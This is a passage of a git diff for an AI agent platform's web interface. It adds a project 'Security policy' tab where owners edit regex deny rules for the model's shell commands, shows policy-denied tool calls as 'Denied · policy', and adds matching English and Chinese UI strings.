{S.common.delete}+ </Button>+ </div>+ ) : (+ <span className="shrink-0 text-xs text-gray-400">+ {r.enabled ? S.project.commandPolicyOn : S.project.commandPolicyOff}+ </span>+ )}+ </div>+ ),+ )}+ {editing === "new" && (+ <RuleEditor+ initial={null}+ onApply={(nr) => {+ setRules([...rules, nr]);+ setEditing(null);+ }}+ onCancel={() => setEditing(null)}+ />+ )}+ {rules.length === 0 && editing !== "new" && (+ <p className="py-3 text-xs text-gray-400">{S.project.commandPolicyEmpty}</p>+ )}+ </div>+ </div>+ {isOwner && (+ <div className="mt-2 flex justify-end border-t border-gray-100 pt-3 dark:border-gray-800/60">+ {/* Blocked while a rule editor is open, like every other control here: the+ editor is keyed by index, so a save that replaced the list underneath it+ would leave a stale draft that Apply then writes over the wrong rule. */}+ <Button+ size="sm"+ disabled={busy || !dirty || editing !== null}+ onClick={() => void save()}+ >+ {S.common.save}+ </Button>+ </div>+ )}+ </>+ )}+ </div>+ );+}diff --git a/packages/web/src/features/chat/tool-call-card.tsx b/packages/web/src/features/chat/tool-call-card.tsxindex 9495b204..42cf8179 100644--- a/packages/web/src/features/chat/tool-call-card.tsx+++ b/packages/web/src/features/chat/tool-call-card.tsx@@ -231,21 +231,28 @@ export function ToolCallCard({ item, ctx }: { item: ToolCallItem; ctx: StreamRen// breakpoint; the icon is the single source of truth for how the call was decided.const decisionText = item.decision? `${item.decision === "allow" ? S.chat.decisionAllow : S.chat.decisionDeny} · ${- item.decisionSource === "manual" ? S.chat.decisionManual : S.chat.decisionAuto+ item.decision === "forbidden"+ ? S.chat.decisionPolicy+ : item.decisionSource === "manual"+ ? S.chat.decisionManual+ : S.chat.decisionAuto}`: null;- // A user denial reports stop_reason "aborted" on the output it feeds back; that abort IS the- // decision — the icon reads "Denied" rather than falling through to the raw stop reason. A- // user-abort of a RUNNING tool carries no deny decision, so the label falls through to its- // stop reason below.- const deniedByUser = item.decision === "deny" && item.outputStopReason === "aborted";+ // A denial reports stop_reason "aborted" on the output it feeds back — a person's "deny"+ // and the command policy's "forbidden" alike; that abort IS the decision, so the icon+ // reads "Denied · …" (the label's second half names the decider) rather than falling+ // through to the raw stop reason. A user-abort of a RUNNING tool carries no deny+ // decision, so the label falls through to its stop reason below.+ const denied =+ (item.decision === "deny" || item.decision === "forbidden") &&+ item.outputStopReason === "aborted";const stateLabel = pending? S.chat.approvalWaiting: state === "running"? S.chat.workRunning: state === "done"? (decisionText ?? S.chat.workDone)- : deniedByUser+ : denied? (decisionText ?? undefined): (item.outputStopReason ?? item.callStopReason);diff --git a/packages/web/src/lib/omni/stream-model.ts b/packages/web/src/lib/omni/stream-model.tsindex 2f9137bf..7859c801 100644--- a/packages/web/src/lib/omni/stream-model.ts+++ b/packages/web/src/lib/omni/stream-model.ts@@ -87,7 +87,7 @@ import type { MemoryChangeEntry, MemoryChangeRow } from "./memory-changes";// View model types// ----------------------------------------------------------------------------/** Source of an approval decision: clicked on this end (manual) / other (automatic judgment or submitted by another end). */+/** Source of an approval decision: clicked on this end (manual) / other (automatic judgment or submitted by another end). A policy veto needs no source — its decision value is "forbidden". */export type DecisionSource = "manual" | "remote";export interface UserTextItem {diff --git a/packages/web/src/lib/strings-en.ts b/packages/web/src/lib/strings-en.tsindex da9d3d6c..e7d79d56 100644--- a/packages/web/src/lib/strings-en.ts+++ b/packages/web/src/lib/strings-en.ts@@ -309,6 +309,30 @@ export const en: Strings = {chatDefaultsWorkspaceHint: "Empty = temporary workspace",/** The model default is single-sourced with the Models page (the same default_model); this is just another entry point. */chatDefaultsModelHint: "Same default model as the Models page",+ /** Settings dialog tab rail. */+ settingsTabGeneral: "General",+ settingsTabMembers: "Members",+ settingsTabDefaults: "Defaults",+ settingsTabSecurity: "Security policy",+ projectIdLabel: "Project ID",+ deleteProjectDesc: "The project directory is removed recursively and cannot be recovered.",+ /** Security-policy page (Project settings): deny rules enforced ahead of the approval mode. */+ commandPolicyIntro:+ 'Both ways the model reaches a shell pass through the policy before approval — the command exec_command launches, and what input_command types into an already-running one. A hit on any enabled rule is rejected outright, even when the approval mode is allow-all; the model receives the fixed denial "Tool call denied by policy." and moves to another approach. Matching runs each rule\'s regular expression against the command text, normalized for whitespace and quoting. This is an accident guardrail, not a defense against deliberate evasion: a command assembled at run time (from a variable, eval, or a decoded string) is not something patterns can read, and is not covered.',+ commandPolicyEnable: "Enable policy",+ commandPolicyEnableDesc: "When off, no rule blocks anything.",+ commandPolicyRules: "Rules",+ commandPolicyRestore: "Restore defaults",+ commandPolicyAddRule: "Add rule",+ commandPolicyEditRule: "Edit",+ commandPolicyApplyRule: "Apply",+ commandPolicyEmpty: "No rules.",+ commandPolicyOn: "Enabled",+ commandPolicyOff: "Disabled",+ commandPolicyRuleName: "Name",+ commandPolicyRulePattern: "Regular expression",+ commandPolicyRuleDesc: "Description (optional)",+ commandPolicyInvalidPattern: "Invalid regular expression",deleteProject: "Delete Project",deleteConfirm:"Delete this Project? Its directory will be removed recursively and cannot be recovered.",@@ -1308,6 +1332,7 @@ Scenarios:decisionDeny: "Denied",decisionManual: "manual",decisionAuto: "auto",+ decisionPolicy: "policy",thinking: "Thinking",subagent: "Subagent",subagentRunning: "Running",diff --git a/packages/web/src/lib/strings.ts b/packages/web/src/lib/strings.tsindex dafd1a72..6df56578 100644--- a/packages/web/src/lib/strings.ts+++ b/packages/web/src/lib/strings.ts@@ -295,6 +295,30 @@ export const zh = {chatDefaultsWorkspaceHint: "留空表示使用临时工作区",/** The model default shares its source with the Models page (the same default_model); this is just another entry point. */chatDefaultsModelHint: "与模型页的默认模型同步",+ /** Settings dialog tab rail. */+ settingsTabGeneral: "通用",+ settingsTabMembers: "成员",+ settingsTabDefaults: "默认值",+ settingsTabSecurity: "安全策略",+ projectIdLabel: "Project ID",+ deleteProjectDesc: "项目目录将被递归删除,不可恢复。",+ /** Security-policy page (Project settings): deny rules enforced ahead of the approval mode. */+ commandPolicyIntro:+ '模型碰到 shell 的两条路都会先经过安全策略——exec_command 启动的命令,以及 input_command 敲进已运行命令的内容。命中任一启用的规则即被直接拒绝,即使审批模式为全部放行;模型会收到固定的拒绝文案 "Tool call denied by policy." 并改用其他方式。匹配方式为对命令文本做空白与引号归一化后执行各规则的正则表达式。这是防事故的护栏,不能对抗刻意绕过:运行期才拼出来的命令(来自变量、eval 或解码出的字符串)不是模式能读懂的东西,也不在覆盖范围内。',+ commandPolicyEnable: "启用策略",+ commandPolicyEnableDesc: "关闭后所有规则都不再拦截。",+ commandPolicyRules: "规则",+ commandPolicyRestore: "恢复默认",+ commandPolicyAddRule: "添加规则",+ commandPolicyEditRule: "编辑",+ commandPolicyApplyRule: "确定",+ commandPolicyEmpty: "没有规则。",+ commandPolicyOn: "已启用",+ commandPolicyOff: "已停用",+ commandPolicyRuleName: "名称",+ commandPolicyRulePattern: "正则表达式",+ commandPolicyRuleDesc: "描述(可选)",+ commandPolicyInvalidPattern: "正则表达式无效",deleteProject: "删除 Project",deleteConfirm: "确认删除该 Project?项目目录将被递归删除,不可恢复。",deleteDefaultForbidden: "default_project 与 CLI 共用,不允许在 Web 端删除",@@ -1261,6 +1285,7 @@ Benchmark:decisionDeny: "已拒绝",decisionManual: "手动",decisionAuto: "自动",+ decisionPolicy: "策略",thinking: "思考",subagent: "子会话",subagentRunning: "运行中",